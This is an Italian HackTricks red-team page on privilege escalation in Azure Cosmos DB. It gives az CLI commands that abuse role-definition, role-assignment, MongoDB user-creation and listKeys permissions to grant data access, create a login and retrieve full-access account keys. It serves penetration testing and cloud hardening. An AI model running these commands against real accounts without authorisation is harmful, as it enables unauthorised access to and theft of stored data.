Az - CosmosDB Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
CosmosDB Privesc
Per ulteriori informazioni su SQL Database controlla:
(Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write
, Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read
) & (Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write
, Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read
)
Con questi permessi puoi effettuare un'escursione di privilegi dando a un utente i permessi per eseguire query e connettersi al database. Prima viene creata una definizione di ruolo che fornisce i permessi e gli ambiti necessari.
az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'
Dopo che l'assegnazione della definizione è stata data a un utente. Dopo di ciò, quell'utente può utilizzare il metodo di connessione DefaultAzureCredential() per eseguire query.
az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"
(Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write
&& Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read
)&& (Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write
&& Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read
)
Con questo permesso, puoi creare nuove definizioni di ruolo MongoDB all'interno di un account Azure Cosmos DB. Questo consente di definire ruoli personalizzati con permessi specifici per gli utenti MongoDB. Le funzionalità RBAC devono essere abilitate per utilizzare questo.
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
Puoi creare nuove definizioni di utenti MongoDB all'interno di un account Azure Cosmos DB. Questo consente il provisioning di utenti con ruoli specifici e accesso ai database MongoDB.
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
Dopo che un nuovo utente è stato creato all'interno del MongoDB, possiamo accedervi:
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
Microsoft.DocumentDB/databaseAccounts/listKeys/action
Con questo permesso, puoi recuperare le chiavi primaria e secondaria per un account Azure Cosmos DB. Queste chiavi forniscono accesso completo all'account del database e alle sue risorse, abilitando azioni come letture, scritture e modifiche di configurazione dei dati.
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.